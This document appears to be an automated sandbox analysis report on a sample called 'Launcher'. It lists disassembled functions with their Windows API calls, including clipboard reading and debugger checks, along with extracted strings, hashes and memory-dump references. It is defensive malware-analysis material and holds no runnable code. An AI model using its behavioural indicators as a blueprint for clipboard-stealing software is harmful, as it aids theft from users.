Instruction ID: 5702473d2f8d799fbf8fc9281b073930b6fff07dbc2822b4b28947bd4b5e8c5c
Opcode Fuzzy Hash: 2ed7045051c8c571e345ccf25004973f3de333c9efe1e5142599605967170629
Instruction Fuzzy Hash: B7D01735409121EBDB202F29FC0268B3665EF0E322F0608B2B9005A0B6C7359C42DA98

Function 0040CD97 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CDA9

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 475a6ed01dfaefb8ca2ed24f391c1c19bb5eaa0be9add244dd41961483673f06
Instruction ID: 3f6136c4b64c9625cfa67ccb947d9b6af2ce1abf7a96eb2e128bf2d239cdb8bd
Opcode Fuzzy Hash: 475a6ed01dfaefb8ca2ed24f391c1c19bb5eaa0be9add244dd41961483673f06
Instruction Fuzzy Hash: 48D092383D47817BE5748B08AC13F102611A702F59F700224B362FE2D2CAA07110860C

Function 0043D991 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043D99F

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 0f12818f8ffd889640239dc95caccf596f7171d7402bfbee064360d626dbafba
Instruction ID: 7b85f1cab15bc94138d34d67c491e8040dfa82437baee3ee463f890968cdd072
Opcode Fuzzy Hash: 0f12818f8ffd889640239dc95caccf596f7171d7402bfbee064360d626dbafba
Instruction Fuzzy Hash: EFD017B8A103009BC608DF29EC8642233A4A71B309300143AE903C7362D63AEA15DB1A

Function 0043BD70 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,C9C83C46,1875303D,0040882D,C9C83C46), ref: 0043BD80

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d8466e0814f013e045e6f50727fb82e243fec444a5a29e12504035277efe1b75
Instruction ID: bb7abd945ed070358d23fe3966c0591c68b545f04403b69a1e2d5f14682fc31e
Opcode Fuzzy Hash: d8466e0814f013e045e6f50727fb82e243fec444a5a29e12504035277efe1b75
Instruction Fuzzy Hash: 44C09B31145230EBD9102B15FC05FC73F59EF49762F010456B404670B1C764BC81C6D8

Non-executed Functions

Function 00423FF2 Relevance: 20.9, Strings: 16, Instructions: 907COMMON

Download Yara Rule

Strings

hYn[, xrefs: 004256D6
6N, xrefs: 004254A8
b%`', xrefs: 00425673
IK, xrefs: 0042518F
MO, xrefs: 0042519A
)<, xrefs: 00425492
|, xrefs: 00424EEF
D)c+, xrefs: 00425652
RH, xrefs: 00424EFA
=?, xrefs: 00425689
7|5r, xrefs: 00424D37
lm, xrefs: 0042570D
[X, xrefs: 0042507B
tEwG, xrefs: 004256CB
L;B, xrefs: 00424D63
bUaW, xrefs: 004256F7

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: L;B$=?$)<$6N$7|5r$D)c+$RH$[X$b%`'$bUaW$hYn[$lm$tEwG$|$IK$MO
API String ID: 0-2649717970
Opcode ID: efc56ea54409055b2b269ea4042b5c9f30194828bd3d1127482dd4694f60bfb7
Instruction ID: 6cb195c5b43209a5d43f26a82a760735c68c3b929d74b26f680fe308a66db33e
Opcode Fuzzy Hash: efc56ea54409055b2b269ea4042b5c9f30194828bd3d1127482dd4694f60bfb7
Instruction Fuzzy Hash: 53B209B060C7858AD334CF55D842BDFBAF2EBC2300F408D2DC5E95B246D6B5464A9B9B

Function 004170CA Relevance: 15.2, APIs: 4, Strings: 4, Instructions: 1247COMMON

Download Yara Rule

Strings

i, xrefs: 00417AC9
"G, xrefs: 0041784D
=>?, xrefs: 00417BAD
>, xrefs: 004173E5

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: "G$>$i$=>?
API String ID: 0-2987670907
Opcode ID: 4b4f1965abd44bfada2f311f52f67d19ddfd645f797bbe9cbffce72a9871b7a7
Instruction ID: 06de4e36fb0ecf63dcf6d87bd530272cbc4a602755504e4cfbc4010543ca2ff2
Opcode Fuzzy Hash: 4b4f1965abd44bfada2f311f52f67d19ddfd645f797bbe9cbffce72a9871b7a7
Instruction Fuzzy Hash: D6823776A083118BD324CF29C8917ABB7E2EFD5314F19893DE8C587391E7389941C796

Function 00432FF0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433004
GetClipboardData.USER32 ref: 0043301F
GlobalLock.KERNEL32 ref: 00433038
GetWindowLongW.USER32 ref: 0043309D
GlobalUnlock.KERNEL32 ref: 004331AB
CloseClipboard.USER32 ref: 004331B6

Strings

g, xrefs: 004330EF

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: g
API String ID: 2832541153-30677878
Opcode ID: a041006526999a1d46d1ac3d930f714d2c790d99acee4901dea39b14ec805726
Instruction ID: a647f78297136c4ddf3c50938c2fea6cd569f2ac12b273837d959a1f276db314
Opcode Fuzzy Hash: a041006526999a1d46d1ac3d930f714d2c790d99acee4901dea39b14ec805726
Instruction Fuzzy Hash: 2251E27150C7818FD310AFBC898931EBEE19B86225F184B3EE4E5873D1DA788649C797

Function 0041E630 Relevance: 12.1, Strings: 9, Instructions: 830COMMON

Download Yara Rule

Strings

gxwy, xrefs: 0041E9DF
()+/, xrefs: 0041ECF4
^ibp, xrefs: 0041E97F
kZ, xrefs: 0041EA59
$8, xrefs: 0041EFBB
yk`b, xrefs: 0041E997
X\LS, xrefs: 0041E977
kdjk, xrefs: 0041E98F
nkii, xrefs: 0041EA4E

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: $8$()+/$X\LS$^ibp$gxwy$kZ$kdjk$nkii$yk`b
API String ID: 0-3324646334
Opcode ID: de9d20b32a37dfeb8d884f9612bd94cecbacd29aeb15c3eb6066e30b70d1d866
Instruction ID: b01b3ef17e120386515c59f0bf5b1ea05757f711616b2f9f33e931bcaaa4bed7
Opcode Fuzzy Hash: de9d20b32a37dfeb8d884f9612bd94cecbacd29aeb15c3eb6066e30b70d1d866
Instruction Fuzzy Hash: C5523A7850C3518FD721DF25C8807AFBBE1AF96314F084A6EE8E48B392D7398949C756

Function 00423A90 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 327COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,8E48886E), ref: 00423BB7
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,8E48886E,8E48886E), ref: 00423C44

Strings

uw, xrefs: 00423C7B
KB, xrefs: 00423FEC
GD, xrefs: 00423B1D
y{, xrefs: 00423C66

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: GD$KB$uw$y{
API String ID: 237503144-1719460600
Opcode ID: 03f7cf1095da57880038120a88ce450c605c81e5e1fcd609492a0ab0488b5b93
Instruction ID: cb6cc757cc73259835726719410fffd321d7e3d732b20ccb477b56e03215f5d7
Opcode Fuzzy Hash: 03f7cf1095da57880038120a88ce450c605c81e5e1fcd609492a0ab0488b5b93
Instruction Fuzzy Hash: 42A154B1A082149FEB14CF69DC827AEBBB5FB85304F10853DE525AB391D7389906CB85

Function 00409770 Relevance: 10.4, Strings: 8, Instructions: 365COMMON

Download Yara Rule

Strings

?LIJ, xrefs: 004098E3
'P(S, xrefs: 0040997D, 00409981
TU, xrefs: 00409A86
G4O8, xrefs: 004098DB
JK, xrefs: 00409B93
5, xrefs: 00409994
TS, xrefs: 00409A7E
E6E7EEC7F319602D72671E44D842029A, xrefs: 00409836

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 'P(S$5$?LIJ$E6E7EEC7F319602D72671E44D842029A$G4O8$JK$TS$TU
API String ID: 0-1334827691
Opcode ID: 96302c963c81912b6951c2bb09e5987c84e12445223aa6d2be27e762ea14dba7
Instruction ID: 64d8e82e1fd2f46d13c1a070510eec3c3e5dcd2b261db64006e0610e0ecf0986
Opcode Fuzzy Hash: 96302c963c81912b6951c2bb09e5987c84e12445223aa6d2be27e762ea14dba7
Instruction Fuzzy Hash: C9C122B150C7408BD314DF25D89066BBBE2FBC2314F18896DE5D19B392DB38D50ACB56

Function 00423D50 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 305COMMON

Download Yara Rule

Strings

uw, xrefs: 00423C7B
i-i/, xrefs: 00423D69
KB, xrefs: 00423FEC
y{, xrefs: 00423C66

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: i-i/$KB$uw$y{
API String ID: 0-2556140143
Opcode ID: d9a4304d6174319db911894200a612951e932b2472ba7176d07e51050f63c879
Instruction ID: 14f7814c728600ac96f7aaddaf767a3e7ddacb2b3dea14b7dbdd8445ead5ff03
Opcode Fuzzy Hash: d9a4304d6174319db911894200a612951e932b2472ba7176d07e51050f63c879
Instruction Fuzzy Hash: 10918572A183009FD7248F68DC427ABB7E5EB85314F054A3EF5A9CB3D1D77898068B85

Function 00438170 Relevance: 8.9, Strings: 7, Instructions: 186COMMON

Download Yara Rule

Strings

i, xrefs: 004382FA
v, xrefs: 004382FF
", xrefs: 004382A7
%, xrefs: 00438252
#, xrefs: 0043825C
(, xrefs: 004382A2
3, xrefs: 00438257

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: "$#$%$($3$i$v
API String ID: 0-2378544739
Opcode ID: e7d15512da40c6d9b4b7aa5ae2549c7aab2cc14f9be7118e9e636feb6b89359c
Instruction ID: c9a1b00f1c38bfa6f11989f73b2ccca66831ea6c6550ab64b0aa120516ac4726
Opcode Fuzzy Hash: e7d15512da40c6d9b4b7aa5ae2549c7aab2cc14f9be7118e9e636feb6b89359c
Instruction Fuzzy Hash: 8761E12250D7D18AD312863C484425FEFD21BEB224F2C9E9EF4E5873D2C969C50AC3A7

Function 00127CC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0012767D,00000002,00000000,?,?,?,0012767D,?,00000000), ref: 00127D60
GetLocaleInfoW.KERNEL32(?,20001004,0012767D,00000002,00000000,?,?,?,0012767D,?,00000000), ref: 00127D89
GetACP.KERNEL32(?,?,0012767D,?,00000000), ref: 00127D9E

Strings

OCP, xrefs: 00127D1B
ACP, xrefs: 00127CE5

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 3d7b5a7f7539fcfdfca7117a2aa3ce15b80a5df044c51830be1c1b81120b1adf
Instruction ID: a8542be996cf41c329da9e506d3713fa11b0d459ecb11517eb1b1eddadddc03d
Opcode Fuzzy Hash: 3d7b5a7f7539fcfdfca7117a2aa3ce15b80a5df044c51830be1c1b81120b1adf
Instruction Fuzzy Hash: 7A212522608129ABDB399F94F900BF773A7FF54B60B668464E806DB190E732DD50C340

Function 00127547 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0012764F
IsValidCodePage.KERNEL32(00000000), ref: 0012768D
IsValidLocale.KERNEL32(?,00000001), ref: 001276A0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 001276E8
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00127703

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1a9dad263cbd8aa2ae84ea2296370b0ca1e1209df7f8391b5af91997d9fb696c
Instruction ID: 250b7cc8c3c82595bffa8ae5b5f6b5ef26162a12217d2a91d37857bc65fa1910
Opcode Fuzzy Hash: 1a9dad263cbd8aa2ae84ea2296370b0ca1e1209df7f8391b5af91997d9fb696c
Instruction Fuzzy Hash: 94516071A04626ABEB20DFA4EC85EBFB7B8FF18740F144469E511E71D0E7709A60CB61

Function 00120060 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction ID: 6f9610a5e4b0ea35e7230feeb80ec259821a020b86d7ab47b5829a077ef41fe4
Opcode Fuzzy Hash: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction Fuzzy Hash: 5F023B71E012299FDF15CFA9D8806AEFBB1FF48314F24826AD919E7341D731AA51CB90

Function 001282A9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00128399

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 44ce309a3be0e313f05a447b93487c32d7cd040dd609991e2ede29a611ce18f5
Instruction ID: b40a36924832973685a095648e545e7893196d2bde516b6611a6c2316433c18a
Opcode Fuzzy Hash: 44ce309a3be0e313f05a447b93487c32d7cd040dd609991e2ede29a611ce18f5
Instruction Fuzzy Hash: 5F71D471906179AFDF24EF24AC89AEEB7B9AB15300F1441D9E048A7251EF318EE5CF14

Function 001164BF Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 001164CB
IsDebuggerPresent.KERNEL32 ref: 00116597
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001165B0
UnhandledExceptionFilter.KERNEL32(?), ref: 001165BA

Memory Dump Source

Source File: 00000003.00000002.2472185574.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000003.00000002.2472128216.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472260477.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472323732.0000000000145000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472369416.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2472415319.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c39bb4c912651b6b622f8d0f46e07449a0cd65401a0baf9700f18a38b219e5ab
Instruction ID: d6f0ac23d2101fadfa67dbf79239958e7f4b17cd23803b57c9930266418e4fbf
Opcode Fuzzy Hash: c39bb4c912651b6b622f8d0f46e07449a0cd65401a0baf9700f18a38b219e5ab
Instruction Fuzzy Hash: 5531F6B5D05229ABDF20DFA4D9497CDBBB8AF18300F1041AAE40CAB250EB719AC5CF45

Function 00427E69 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 674COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00427F80
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00427FEA

Strings

TWVI, xrefs: 0042846F

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: TWVI
API String ID: 237503144-4013521978
Opcode ID: dc24c5c615d44e2708317eef9708849287ae7553a9966295985ee80f4d6e144e
Instruction ID: ada045e1ed0eda9e8d2743edb493b9a468f41fa33931b5a51e91a981f630b635
Opcode Fuzzy Hash: dc24c5c615d44e2708317eef9708849287ae7553a9966295985ee80f4d6e144e
Instruction Fuzzy Hash: C8321476A09350CFE3108F25EC8071ABBE1EFC6314F198A7DE9945B3A1D7749805CB8A

Function 004257D0 Relevance: 5.6, Strings: 4, Instructions: 643COMMON

Download Yara Rule

Strings

_\, xrefs: 00425C06
4@6F, xrefs: 00425BEE
-X=^, xrefs: 00425BFE
3416, xrefs: 00425A30

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: -X=^$3416$4@6F$_\
API String ID: 0-515164375
Opcode ID: 098cc5e73df2b4f41ad4b44b780c3bc63e65c3777913760ff14ffd2d27bb46ae
Instruction ID: 983fb498bc89c63e41962f7872021e47c6343a79bee3f042bf28153fc73587c9
Opcode Fuzzy Hash: 098cc5e73df2b4f41ad4b44b780c3bc63e65c3777913760ff14ffd2d27bb46ae
Instruction Fuzzy Hash: 441228356187618BC728CF28D8815BFB3E2FF85304F99892DE58597350E7389A06DB4A

Function 004264D7 Relevance: 5.4, Strings: 4, Instructions: 436COMMON

Download Yara Rule

Strings

MO, xrefs: 004265BE
TWVITWVI, xrefs: 00426851
QS, xrefs: 004265C5
AC, xrefs: 004265A9

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: TWVITWVI$AC$MO$QS
API String ID: 0-300549831
Opcode ID: cf15153c28012b530e72353be25eb95581a069b8bfcd26c37a20bcd9fc48bae3
Instruction ID: 57b586f8a2fdfc3ea2b60ed20310aaa6666d4e35d98f93ddcfc97b949b73b5ae
Opcode Fuzzy Hash: cf15153c28012b530e72353be25eb95581a069b8bfcd26c37a20bcd9fc48bae3
Instruction Fuzzy Hash: 79E14CB5A04214CFDB04CFA9EC81B6E7BB2FF89314F5981B9D500AB362DB349851CB54

Function 0041CE98 Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

pv, xrefs: 0041CF46
x~, xrefs: 0041CF38
pv, xrefs: 0041CFD3, 0041CFB7
|r, xrefs: 0041CF3F

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: pv$pv$x~$|r
API String ID: 0-3397008443
Opcode ID: d7400a9fc0e0cd815e2d8d3e9f052bc42f7f121c04c9dfdc3fd595c308e27ed1
Instruction ID: bfbe38ddeac3987a49031ccc2ffdb90a1322ae6fcc8effdbbbd96443afc4e3bd
Opcode Fuzzy Hash: d7400a9fc0e0cd815e2d8d3e9f052bc42f7f121c04c9dfdc3fd595c308e27ed1
Instruction Fuzzy Hash: 765126B1901311CBDB208F65C8516BBBBF1FF56304F18456ED8C26B391E33AA846CB99

Function 0041CEB5 Relevance: 5.2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

Strings

pv, xrefs: 0041CF46
x~, xrefs: 0041CF38
pv, xrefs: 0041CFB7
|r, xrefs: 0041CF3F

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: pv$pv$x~$|r
API String ID: 0-3397008443
Opcode ID: e29a0182a0e78b6d93ad507649ae202908562453708a0db1a04f9972e305544f
Instruction ID: 68f3fbac43939947aa82a93555e35c270fcb914f780c4420f5e6e56461a6c209
Opcode Fuzzy Hash: e29a0182a0e78b6d93ad507649ae202908562453708a0db1a04f9972e305544f
Instruction Fuzzy Hash: B65115B1A01311CBDB208F25C9516B7BBF1FF56304F28456DD8C66B390E33AA846CB99

Function 0040DBE5 Relevance: 5.1, Strings: 4, Instructions: 147COMMON

Download Yara Rule

Strings

EG, xrefs: 0040DC84
MO, xrefs: 0040DC92
A-C, xrefs: 0040DC7D
<]_, xrefs: 0040DC76

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: A-C$<]_$EG$MO
API String ID: 0-1203999361
Opcode ID: 0fde431a8214c20d83a8c651b3bf7f3ad9a7175e9ea3265974e45c74fcd8c387
Instruction ID: 587d9a8dcddeeb27c8487818bee68c450c0240d322a7d8e1d085df5f2e2dbcfd
Opcode Fuzzy Hash: 0fde431a8214c20d83a8c651b3bf7f3ad9a7175e9ea3265974e45c74fcd8c387
Instruction Fuzzy Hash: 445155B0201B06ABE7148F26C895362BBB1FF55708F64961CC1451FF94D3BAA469CFC8

Function 004189FD Relevance: 4.7, Strings: 3, Instructions: 979COMMON

Download Yara Rule

Strings

Wgo, xrefs: 0041927E
\go, xrefs: 004192B1
WGU, xrefs: 004192B8

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: Wgo$\go$WGU
API String ID: 2994545307-2802869675
Opcode ID: 56dd2cac00ade7a960a7e83143a9a9673fafbcdd80f28017918e9536fc4d79a1
Instruction ID: 3b699dfb179154d29c04b0b74409de00eb7da208279ca9a3d11de7b56fefd565
Opcode Fuzzy Hash: 56dd2cac00ade7a960a7e83143a9a9673fafbcdd80f28017918e9536fc4d79a1
Instruction Fuzzy Hash: 19325976A083518BD728CF28C8517BB77D3EBDA314F19853ED48283295DB389D42C79A

Function 0043C540 Relevance: 4.5, Strings: 3, Instructions: 718COMMON

Download Yara Rule

Strings

f, xrefs: 0043C7F1
, xrefs: 0043C6C2
]u^M, xrefs: 0043C65B

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

